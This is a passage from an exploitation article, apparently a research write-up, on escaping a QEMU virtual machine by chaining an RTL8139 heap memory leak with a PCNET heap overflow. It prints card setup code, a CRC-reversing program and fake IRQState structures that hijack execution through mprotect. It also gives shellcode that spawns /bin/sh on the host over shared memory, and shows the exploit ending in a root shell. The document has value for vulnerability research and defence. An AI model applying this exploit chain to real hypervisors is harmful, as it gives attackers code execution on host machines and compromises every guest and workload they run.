= 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size) { uint16_t chunk_size = tcp_chunk_size; /* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; } memcpy(data_to_checksum, saved_ip_header + 12, 8); if (tcp_send_offset) { memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size); } /* more code follows */ } So, if we forge a malformed packet with a corrupted length size (e.g. ip->ip_len = hlen - 1), then we can leak approximatively 64 KB from QEMU's heap memory. Instead of sending a single packet, the network card device emulator will end up by sending 43 fragmented packets. ----[ 3.2 - Setting up the Card In order to send our malformed packet and read leaked data, we need to configure first Rx and Tx descriptors buffers on the card, and set up some flags so that our packet flows through the vulnerable code path. The figure below shows the RTL8139 registers. We will not detail all of them but only those which are relevant to our exploit: +---------------------------+----------------------------+ 0x00 | MAC0 | MAR0 | +---------------------------+----------------------------+ 0x10 | TxStatus0 | +--------------------------------------------------------+ 0x20 | TxAddr0 | +-------------------+-------+----------------------------+ 0x30 | RxBuf |ChipCmd| | +-------------+------+------+----------------------------+ 0x40 | TxConfig | RxConfig | ... | +-------------+-------------+----------------------------+ | | | skipping irrelevant registers | | | +---------------------------+--+------+------------------+ 0xd0 | ... | |TxPoll| ... | +-------+------+------------+--+------+--+---------------+ 0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... | +-------+------+------------+------------+---------------+ - TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback test mode), TxCRC (do not append CRC to Tx Packets), etc. - RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept broadcast packets), AcceptMulticast (accept multicast packets), etc. - CpCmd: C+ command register used to enable some functions such as CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc. - TxAddr0: Physical memory address of Tx descriptors table. - RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors table. - RxRingAddrHI: High 32-bits physical memory address of Rx descriptors table. - TxPoll: Tell the card to check Tx descriptors. A Rx/Tx-descriptor is defined by the following structure where buf_lo and buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx buffers, respectively. These addresses point to buffers holding packets to be sent/received and must be aligned on page size boundary. The variable dw0 encodes the size of the buffer plus additional flags such as the ownership flag to denote if the buffer is owned by the card or the driver. struct rtl8139_desc { uint32_t dw0; uint32_t dw1; uint32_t buf_lo; uint32_t buf_hi; }; The network card is configured through in*() out*() primitives (from sys/io.h). We need to have CAP_SYS_RAWIO privileges to do so. The following snippet of code configures the card and sets up a single Tx descriptor. #define RTL8139_PORT 0xc000 #define RTL8139_BUFFER_SIZE 1500 struct rtl8139_desc desc; void *rtl8139_tx_buffer; uint32_t phy_mem; rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE); phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer); memset(&desc, 0, sizeof(struct rtl8139_desc)); desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN | CP_TX_IPCS | CP_TX_TCPCS; desc->dw0 += RTL8139_BUFFER_SIZE; desc.buf_lo = phy_mem; iopl(3); outl(TxLoopBack, RTL8139_PORT + TxConfig); outl(AcceptMyPhys, RTL8139_PORT + RxConfig); outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd); outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd); outl(phy_mem, RTL8139_PORT + TxAddr0); outl(0x0, RTL8139_PORT + TxAddr0 + 0x4); ----[ 3.3 - Exploit The full exploit (cve-2015-5165.c) is available inside the attached source code tarball. The exploit configures the required registers on the card and sets up Tx and Rx buffer descriptors. Then it forges a malformed IP packet addressed to the MAC address of the card. This enables us to read the leaked data by accessing the configured Rx buffers. While analyzing the leaked data we have observed that several function pointers are present. A closer look reveals that these functions pointers are all members of a same QEMU internal structure: typedef struct ObjectProperty { gchar *name; gchar *type; gchar *description; ObjectPropertyAccessor *get; ObjectPropertyAccessor *set; ObjectPropertyResolve *resolve; ObjectPropertyRelease *release; void *opaque; QTAILQ_ENTRY(ObjectProperty) node; } ObjectProperty; QEMU follows an object model to manage devices, memory regions, etc. At startup, QEMU creates several objects and assigns to them properties. For example, the following call adds a "may-overlap" property to a memory region object. This property is endowed with a getter method to retrieve the value of this boolean property: object_property_add_bool(OBJECT(mr), "may-overlap", memory_region_get_may_overlap, NULL, /* memory_region_set_may_overlap */ &error_abort); The RTL8139 network card device emulator reserves a 64 KB on the heap to reassemble packets. There is a large chance that this allocated buffer fits on the space left free by destroyed object properties. In our exploit, we search for known object properties in the leaked memory. More precisely, we are looking for 80 bytes memory chunks (chunk size of a free'd ObjectProperty structure) where at least one of the function pointers is set (get, set, resolve or release). Even if these addresses are subject to ASLR, we can still guess the base address of the .text section. Indeed, their page offsets are fixed (12 least significant bits or virtual addresses are not randomized). We can do some arithmetics to get the address of some of QEMU's useful functions. We can also derive the address of some LibC functions such as mprotect() and system() from their PLT entries. We have also noticed that the address PHY_MEM + 0x78 is leaked several times, where PHY_MEM is the start address of the physical memory allocated for the guest. The current exploit searches the leaked memory and tries to resolves (i) the base address of the .text segment and (ii) the base address of the physical memory. --[ 4 - Heap-based Overflow Exploitation This section discusses the vulnerability CVE-2015-7504 and provides an exploit that gets control over the %rip register. ----[ 4.1 - The vulnerable Code The AMD PCNET network card emulator is vulnerable to a heap-based overflow when large-size packets are received in loopback test mode. The PCNET device emulator reserves a buffer of 4 kB to store packets. If the ADDFCS flag is enabled on Tx descriptor buffer, the card appends a CRC to received packets as shown in the following snippet of code in pcnet_receive() function from hw/net/pcnet.c. This does not pose a problem if the size of the received packets are less than 4096 - 4 bytes. However, if the packet has exactly 4096 bytes, then we can overflow the destination buffer with 4 bytes. uint8_t *src = s->buffer; /* ... */ if (!s->looptest) { memcpy(src, buf, size); /* no need to compute the CRC */ src[size] = 0; src[size + 1] = 0; src[size + 2] = 0; src[size + 3] = 0; size += 4; } else if (s->looptest == PCNET_LOOPTEST_CRC || !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { uint32_t fcs = ~0; uint8_t *p = src; while (p != &src[size]) CRC(fcs, *p++); *(uint32_t *)p = htonl(fcs); size += 4; } In the above code, s points to PCNET main structure, where we can see that beyond our vulnerable buffer, we can corrupt the value of the irq variable: struct PCNetState_st { NICState *nic; NICConf conf; QEMUTimer *poll_timer; int rap, isr, lnkst; uint32_t rdra, tdra; uint8_t prom[16]; uint16_t csr[128]; uint16_t bcr[32]; int xmit_pos; uint64_t timer; MemoryRegion mmio; uint8_t buffer[4096]; qemu_irq irq; void (*phys_mem_read)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void (*phys_mem_write)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void *dma_opaque; int tx_busy; int looptest; }; The variable irq is a pointer to IRQState structure that represents a handler to execute: typedef void (*qemu_irq_handler)(void *opaque, int n, int level); struct IRQState { Object parent_obj; qemu_irq_handler handler; void *opaque; int n; }; This handler is called several times by the PCNET card emulator. For instance, at the end of pcnet_receive() function, there is call a to pcnet_update_irq() which in turn calls qemu_set_irq(): void qemu_set_irq(qemu_irq irq, int level) { if (!irq) return; irq->handler(irq->opaque, irq->n, level); } So, what we need to exploit this vulnerability: - allocate a fake IRQState structure with a handler to execute (e.g. system()). - compute the precise address of this allocated fake structure. Thanks to the previous memory leak, we know exactly where our fake structure resides in QEMU's process memory (at some offset from the base address of the guest's physical memory). - forge a 4 kB malicious packets. - patch the packet so that the computed CRC on that packet matches the address of our fake IRQState structure. - send the packet. When this packet is received by the PCNET card, it is handled by the pcnet_receive function() that performs the following actions: - copies the content of the received packet into the buffer variable. - computes a CRC and appends it to the buffer. The buffer is overflowed with 4 bytes and the value of irq variable is corrupted. - calls pcnet_update_irq() that in turns calls qemu_set_irq() with the corrupted irq variable. Out handler is then executed. Note that we can get control over the first two parameters of the substituted handler (irq->opaque and irq->n), but thanks to a little trick that we will see later, we can get control over the third parameter too (level parameter). This will be necessary to call mprotect() function. Note also that we corrupt an 8-byte pointer with 4 bytes. This is sufficient in our testing environment to successfully get control over the %rip register. However, this poses a problem with kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. This issue is discussed in section 5.4. ----[ 4.2 - Setting up the Card Before going further, we need to set up the PCNET card in order to configure the required flags, set up Tx and Rx descriptor buffers and allocate ring buffers to hold packets to transmit and receive. The AMD PCNET card could be accessed in 16 bits mode or 32 bits mode. This depends on the current value of DWI0 (value stored in the card). In the following, we detail the main registers of the PCNET card in 16 bits access mode as this is the default mode after a card reset: 0 16 +----------------------------------+ | EPROM | +----------------------------------+ | RDP - Data reg for CSR | +----------------------------------+ | RAP - Index reg for CSR and BCR | +----------------------------------+ | Reset reg | +----------------------------------+ | BDP - Data reg for BCR | +----------------------------------+ The card can be reset to default by accessing the reset register. The card has two types of internal registers: CSR (Control and Status Register) and BCR (Bus Control Registers). Both registers are accessed by setting first the index of the register that we want to access in the RAP (Register Address Port) register. For instance, if we want to init and restart the card, we need to set bit0 and bit1 to 1 of register CSR0. This can be done by writing 0 to RAP register in order to select the register CSR0, then by setting register CSR to 0x3: outw(0x0, PCNET_PORT + RAP); outw(0x3, PCNET_PORT + RDP); The configuration of the card could be done by filling an initialization structure and passing the physical address of this structure to the card (through register CSR1 and CSR2): struct pcnet_config { uint16_t mode; /* working mode: promiscusous, looptest, etc. */ uint8_t rlen; /* number of rx descriptors in log2 base */ uint8_t tlen; /* number of tx descriptors in log2 base */ uint8_t mac[6]; /* mac address */ uint16_t _reserved; uint8_t ladr[8]; /* logical address filter */ uint32_t rx_desc; /* physical address of rx descriptor buffer */ uint32_t tx_desc; /* physical address of tx descriptor buffer */ }; ----[ 4.3 - Reversing CRC As discussed previously, we need to fill a packet with data in such a way that the computed CRC matches the address of our fake structure. Fortunately, the CRC is reversible. Thanks to the ideas exposed in [6], we can apply a 4-byte patch to our packet so that the computed CRC matches a value of our choice. The source code reverse-crc.c applies a patch to a pre-filled buffer so that the computed CRC is equal to 0xdeadbeef. ---[ reverse-crc.c ]--- #include #include #define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff]) /* generated using the AUTODIN II polynomial * x^32 + x^26 + x^23 + x^22 + x^16 + * x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 */ static const uint32_t crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; uint32_t crc_compute(uint8_t *buffer, size_t size) { uint32_t fcs = ~0; uint8_t *p = buffer; while (p != &buffer[size]) CRC(fcs, *p++); return fcs; } uint32_t crc_reverse(uint32_t current, uint32_t target) { size_t i = 0, j; uint8_t *ptr; uint32_t workspace[2] = { current, target }; for (i = 0; i < 2; i++) workspace[i] &= (uint32_t)~0; ptr = (uint8_t *)(workspace + 1); for (i = 0; i < 4; i++) { j = 0; while(crctab[j] >> 24 != *(ptr + 3 - i)) j++; *((uint32_t *)(ptr - i)) ^= crctab[j]; *(ptr - i - 1) ^= j; } return *(uint32_t *)(ptr - 4); } int main() { uint32_t fcs; uint32_t buffer[2] = { 0xcafecafe }; uint8_t *ptr = (uint8_t *)buffer; fcs = crc_compute(ptr, 4); printf("[+] current crc = %010p, required crc = \n", fcs); fcs = crc_reverse(fcs, 0xdeadbeef); printf("[+] applying patch = %010p\n", fcs); buffer[1] = fcs; fcs = crc_compute(ptr, 8); if (fcs == 0xdeadbeef) printf("[+] crc patched successfully\n"); } ----[ 4.4 - Exploit The exploit (file cve-2015-7504.c from the attached source code tarball) resets the card to its default settings, then configures Tx and Rx descriptors and sets the required flags, and finally inits and restarts the card to push our network card config. The rest of the exploit simply triggers the vulnerability that crashes QEMU with a single packet. As shown below, qemu_set_irq is called with a corrupted irq variable pointing to 0x7f66deadbeef. QEMU crashes as there is no runnable handler at this address. (gdb) shell ps -e | grep qemu 8335 pts/4 00:00:03 qemu-system-x86 (gdb) attach 8335 ... (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0) 43 irq->handler(irq->opaque, irq->n, level); --[ 5 - Putting all Together In this section, we merge the two previous exploits in order to escape from the VM and get code execution on the host with QEMU's privileges. First, we exploit CVE-2015-5165 in order to reconstruct the memory layout of QEMU. More precisely, the exploit tries to resolve the following addresses in order to bypass ASLR: - The guest physical memory base address. In our exploit, we need to do some allocations on the guest and get their precise address within the virtual address space of QEMU. - The .text section base address. This serves to get the address of qemu_set_irq() function. - The .plt section base address. This serves to determine the addresses of some functions such as fork() and execv() used to build our shellcode. The address of mprotect() is also needed to change the permissions of the guest physical address. Remember that the physical address allocated for the guest is not executable. ----[ 5.1 - RIP Control As shown in section 4 we have control over %rip register. Instead of letting QEMU crash at arbitrary address, we overflow the PCNET buffer with an address pointing to a fake IRQState that calls a function of our choice. At first sight, one could be attempted to build a fake IRQState that runs system(). However, this call will fail as some of QEMU memory mappings are not preserved across a fork() call. More precisely, the mmapped physical memory is marked with the MADV_DONTFORK flag: qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK); Calling execv() is not useful too as we lose our hands on the guest machine. Note also that one can construct a shellcode by chaining several fake IRQState in order to call multiple functions since qemu_set_irq() is called several times by PCNET device emulator. However, we found that it's more convenient and more reliable to execute a shellcode after having enabled the PROT_EXEC flag of the page memory where the shellcode is located. Our idea, is to build two fake IRQState structures. The first one is used to make a call to mprotect(). The second one is used to call a shellcode that will undo first the MADV_DONTFORK flag and then runs an interactive shell between the guest and the host. As stated earlier, when qemu_set_irq() is called, it takes two parameters as input: irq (pointer to IRQstate structure) and level (IRQ level), then calls the handler as following: void qemu_set_irq(qemu_irq irq, int level) { if (!irq) return; irq->handler(irq->opaque, irq->n, level); } As shown above, we have control only over the first two parameters. So how to call mprotect() that has three arguments? To overcome this, we will make qemu_set_irq() calls itself first with the following parameters: - irq: pointer to a fake IRQState that sets the handler pointer to mprotect() function. - level: mprotect flags set to PROT_READ | PROT_WRITE | PROT_EXEC This is achieved by setting two fake IRQState as shown by the following snippet code: struct IRQState { uint8_t _nothing[44]; uint64_t handler; uint64_t arg_1; int32_t arg_2; }; struct IRQState fake_irq[2]; hptr_t fake_irq_mem = gva_to_hva(fake_irq); /* do qemu_set_irq */ fake_irq[0].handler = qemu_set_irq_addr; fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState); fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC; /* do mprotect */ fake_irq[1].handler = mprotec_addrt; fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT; fake_irq[1].arg_2 = PAGE_SIZE; After overflow takes place, qemu_set_irq() is called with a fake handler that simply recalls qemu_set_irq() which in turns calls mprotect after having adjusted the level parameter to 7 (required flag for mprotect). The memory is now executable, we can pass the control to our interactive shell by rewriting the handler of the first IRQState to the address of our shellcode: payload.fake_irq[0].handler = shellcode_addr; payload.fake_irq[0].arg_1 = shellcode_data; ----[ 5.2 - Interactive Shell Well. We can simply write a basic shellcode that binds a shell to netcat on some port and then connect to that shell from a separate machine. That's a satisfactory solution, but we can do better to avoid firewall restrictions. We can leverage on a shared memory between the guest and the host to build a bindshell. Exploiting QEMU's vulnerabilities is a little bit subtle as the code we are writing in the guest is already available in the QEMU's process memory. So there is no need to inject a shellcode. Even better, we can share code and make it run on the guest and the attacked host. The following figure summarizes the shared memory and the process/thread running on the host and the guest. We create two shared ring buffers (in and out) and provide read/write primitives with spin-lock access to those shared memory areas. On the host machine, we run a shellcode that starts a /bin/sh shell on a separate process after having duplicated first its stdin and stdout file descriptors. We create also two threads. The first one reads commands from the shared memory and passes them to the shell via a pipe. The second threads reads the output of the shell (from a second pipe) and then writes them to the shared memory. These two threads are also instantiated on the guest machine to write user input commands on the dedicated shared memory and to output the results read from the second ring buffer to stdout, respectively. Note that in our exploit, we have a third thread (and a dedicated shared area) to handle stderr output. GUEST SHARED MEMORY HOST ----- ------------- ---- +------------+ +------------+ | exploit | | QEMU | | (thread) | | (main) | +------------+ +------------+ +------------+ +------------+ | exploit | sm_write() head sm_read() | QEMU | | (thread) |----------+ |--------------| (thread) | +------------+ | V +---------++-+ | xxxxxxxxxxxxxx----+ pipe IN || | x | +---------++-+ | x ring buffer | | shell | tail ------>x (filled with x) ^ | fork proc. | | | +---------++-+ +-------->--------+ pipe OUT || +------------+ +---------++-+ | exploit | sm_read() tail sm_write() | QEMU | | (thread) |----------+ |--------------| (thread) | +------------+ | V +------------+ | xxxxxxxxxxxxxx----+ | x | | x ring buffer | head ------>x (filled with x) ^ | | +-------->--------+ ----[ 5.3 - VM-Escape Exploit In the section, we outline the main structures and functions used in the full exploit (vm-escape.c). The injected payload is defined by the following structure: struct payload { struct IRQState fake_irq[2]; struct shared_data shared_data; uint8_t shellcode[1024]; uint8_t pipe_fd2r[1024]; uint8_t pipe_r2fd[1024]; }; Where fake_irq is a pair of fake IRQState structures responsible to call mprotect() and change the page protection where the payload resides. The structure shared_data is used to pass arguments to the main shellcode: struct shared_data { struct GOT got; uint8_t shell[64]; hptr_t addr; struct shared_io shared_io; volatile int done; }; Where the got structure acts as a Global Offset Table. It contains the address of the main functions to run by the shellcode. The addresses of these functions are resolved from the memory leak. struct GOT { typeof(open) *open; typeof(close) *close; typeof(read) *read; typeof(write) *write; typeof(dup2) *dup2; typeof(pipe) *pipe; typeof(fork) *fork; typeof(execv) *execv; typeof(malloc) *malloc; typeof(madvise) *madvise; typeof(pthread_create) *pthread_create; typeof(pipe_r2fd) *pipe_r2fd; typeof(pipe_fd2r) *pipe_fd2r; }; The main shellcode is defined by the following function: /* main code to run after %rip control */ void shellcode(struct shared_data *shared_data) { pthread_t t_in, t_out, t_err; int in_fds[2], out_fds[2], err_fds[2]; struct brwpipe *in, *out, *err; char *args[2] = { shared_data->shell, NULL }; if (shared_data->done) { return; } shared_data->got.madvise((uint64_t *)shared_data->addr, PHY_RAM, MADV_DOFORK); shared_data->got.pipe(in_fds); shared_data->got.pipe(out_fds); shared_data->got.pipe(err_fds); in = shared_data->got.malloc(sizeof(struct brwpipe)); out = shared_data->got.malloc(sizeof(struct brwpipe)); err = shared_data->got.malloc(sizeof(struct brwpipe)); in->got = &shared_data->got; out->got = &shared_data->got; err->got = &shared_data->got; in->fd = in_fds[1]; out->fd = out_fds[0]; err->fd = err_fds[0]; in->ring = &shared_data->shared_io.in; out->ring = &shared_data->shared_io.out; err->ring = &shared_data->shared_io.err; if (shared_data->got.fork() == 0) { shared_data->got.close(in_fds[1]); shared_data->got.close(out_fds[0]); shared_data->got.close(err_fds[0]); shared_data->got.dup2(in_fds[0], 0); shared_data->got.dup2(out_fds[1], 1); shared_data->got.dup2(err_fds[1], 2); shared_data->got.execv(shared_data->shell, args); } else { shared_data->got.close(in_fds[0]); shared_data->got.close(out_fds[1]); shared_data->got.close(err_fds[1]); shared_data->got.pthread_create(&t_in, NULL, shared_data->got.pipe_r2fd, in); shared_data->got.pthread_create(&t_out, NULL, shared_data->got.pipe_fd2r, out); shared_data->got.pthread_create(&t_err, NULL, shared_data->got.pipe_fd2r, err); shared_data->done = 1; } } The shellcode checks first the flag shared_data->done to avoid running the shellcode multiple times (remember that qemu_set_irq used to pass control to the shellcode is called several times by QEMU code). The shellcode calls madvise() with shared_data->addr pointing to the physical memory. This is necessary to undo the MADV_DONTFORK flag and hence preserve memory mappings across fork() calls. The shellcode creates a child process that is responsible to start a shell ("/bin/sh"). The parent process starts threads that make use of shared memory areas to pass shell commands from the guest to the attacked host and then write back the results of these commands to the guest machine. The communication between the parent and the child process is carried by pipes. As shown below, a shared memory area consists of a ring buffer that is accessed by sm_read() and sm_write() primitives: struct shared_ring_buf { volatile bool lock; bool empty; uint8_t head; uint8_t tail; uint8_t buf[SHARED_BUFFER_SIZE]; }; static inline __attribute__((always_inline)) ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring, char *out, ssize_t len) { ssize_t read = 0, available = 0; do { /* spin lock */ while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED)); if (ring->head > ring->tail) { // loop on ring available = SHARED_BUFFER_SIZE - ring->head; } else { available = ring->tail - ring->head; if (available == 0 && !ring->empty) { available = SHARED_BUFFER_SIZE - ring->head; } } available = MIN(len - read, available); imemcpy(out, ring->buf + ring->head, available); read += available; out += available; ring->head += available; if (ring->head == SHARED_BUFFER_SIZE) ring->head = 0; if (available != 0 && ring->head == ring->tail) ring->empty = true; __atomic_clear(&ring->lock, __ATOMIC_RELAXED); } while (available != 0 || read == 0); return read; } static inline __attribute__((always_inline)) ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring, char *in, ssize_t len) { ssize_t written = 0, available = 0; do { /* spin lock */ while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED)); if (ring->tail > ring->head) { // loop on ring available = SHARED_BUFFER_SIZE - ring->tail; } else { available = ring->head - ring->tail; if (available == 0 && ring->empty) { available = SHARED_BUFFER_SIZE - ring->tail; } } available = MIN(len - written, available); imemcpy(ring->buf + ring->tail, in, available); written += available; in += available; ring->tail += available; if (ring->tail == SHARED_BUFFER_SIZE) ring->tail = 0; if (available != 0) ring->empty = false; __atomic_clear(&ring->lock, __ATOMIC_RELAXED); } while (written != len); return written; } These primitives are used by the following threads function. The first one reads data from a shared memory area and writes it to a file descriptor. The second one reads data from a file descriptor and writes it to a shared memory area. void *pipe_r2fd(void *_brwpipe) { struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe; char buf[SHARED_BUFFER_SIZE]; ssize_t len; while (true) { len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf)); if (len > 0) brwpipe->got->write(brwpipe->fd, buf, len); } return NULL; } SHELLCODE(pipe_r2fd) void *pipe_fd2r(void *_brwpipe) { struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe; char buf[SHARED_BUFFER_SIZE]; ssize_t len; while (true) { len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf)); if (len < 0) { return NULL; } else if (len > 0) { len = sm_write(brwpipe->got, brwpipe->ring, buf, len); } } return NULL; } Note that the code of these functions are shared between the host and the guest. These threads are also instantiated in the guest machine to read user input commands and copy them on the dedicated shared memory area (in memory), and to write back the output of these commands available in the corresponding shared memory areas (out and err shared memories): void session(struct shared_io *shared_io) { size_t len; pthread_t t_in, t_out, t_err; struct GOT got; struct brwpipe *in, *out, *err; got.read = &read; got.write = &write; warnx("[!] enjoy your shell"); fputs(COLOR_SHELL, stderr); in = malloc(sizeof(struct brwpipe)); out = malloc(sizeof(struct brwpipe)); err = malloc(sizeof(struct brwpipe)); in->got = &got; out->got = &got; err->got = &got; in->fd = STDIN_FILENO; out->fd = STDOUT_FILENO; err->fd = STDERR_FILENO; in->ring = &shared_io->in; out->ring = &shared_io->out; err->ring = &shared_io->err; pthread_create(&t_in, NULL, pipe_fd2r, in); pthread_create(&t_out, NULL, pipe_r2fd, out); pthread_create(&t_err, NULL, pipe_r2fd, err); pthread_join(t_in, NULL); pthread_join(t_out, NULL); pthread_join(t_err, NULL); } The figure presented in the previous section illustrates the shared memories and the processes/threads started in the guest and the host machines. The exploit targets a vulnerable version of QEMU built using version 4.9.2 of Gcc. In order to adapt the exploit to a specific QEMU build, we provide a shell script (build-exploit.sh) that will output a C header with the required offsets: $ ./build-exploit > qemu.h Running the full exploit (vm-escape.c) will result in the following output: $ ./vm-escape $ exploit: [+] found 190 potential ObjectProperty structs in memory $ exploit: [+] .text mapped at 0x7fb6c55c3620 $ exploit: [+] mprotect mapped at 0x7fb6c55c0f10 $ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347 $ exploit: [+] VM physical memory mapped at 0x7fb630000000 $ exploit: [+] payload at 0x7fb6a8913000 $ exploit: [+] patching packet ... $ exploit: [+] running first attack stage $ exploit: [+] running shellcode at 0x7fb6a89132d0 $ exploit: [!] enjoy your shell $ shell > id $ uid=0(root) gid=0(root) ... ----[ 5.4 - Limitations Please note that the current exploit is still somehow unreliable. In our testing environment (Debian 7 running a 3.16 kernel on x_86_64 arch), we have observed a failure rate of approximately 1 in 10 runnings. In most unsuccessful attempts, the exploit fails to reconstruct the memory layout of QEMU due to unusable leaked data. The exploit does not work on linux kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. In this case QEMU binary (compiled by default with -fPIE) is mapped into a separate address space as shown by the following listing: 55e5e3fdd000-55e5e4594000 r-xp 00000000 fe:01 6940407 [qemu-system-x86_64] 55e5e4794000-55e5e4862000 r--p 005b7000 fe:01 6940407 ... 55e5e4862000-55e5e48e3000 rw-p 00685000 fe:01 6940407 ... 55e5e48e3000-55e5e4d71000 rw-p 00000000 00:00 